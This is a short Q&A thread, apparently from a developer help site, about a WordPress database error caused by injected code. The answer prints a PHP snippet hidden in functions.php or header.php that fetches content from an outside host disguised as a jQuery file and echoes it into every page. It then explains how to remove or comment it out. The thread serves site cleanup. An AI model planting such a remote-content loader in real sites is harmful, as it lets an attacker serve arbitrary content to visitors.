SQL statscurl_id Error using Wordpress [closed]

Question

I get this error at the bottom of my home page. please let me know why this error appeared in my website. I am running my website on wordpress. Here is the error

Couldn't connect to database server.Couldn't find database cjquery.An unexpected problem has occured with the application.
SELECT statscurl_id FROM `statscurl` WHERE statscurl_ip = '';

Answer 1

1. Login to the WordPress dashboard
2. Click appearance and then editor
3. Look in functions.php or header.php for the code below:

SOURCE

<?php
  if(function_exists('curl_init'))
  {
    $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
    $ch = curl_init();  
    $timeout = 5;  

    curl_setopt($ch,CURLOPT_URL,$url); 
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); 
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); 
    $data = curl_exec($ch);  

    curl_close($ch); 
    echo "$data";
  }
?>

Remove the code or comment it out so it looks something like this:

<?php
  // if(function_exists('curl_init'))
  // {
    // $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
    // $ch = curl_init();  
    // $timeout = 5;  

    // curl_setopt($ch,CURLOPT_URL,$url); 
    // curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); 
    // curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); 
    // $data = curl_exec($ch);  

    // curl_close($ch); 
    // echo "$data";
  //}
?>

The above string can vary from site to site.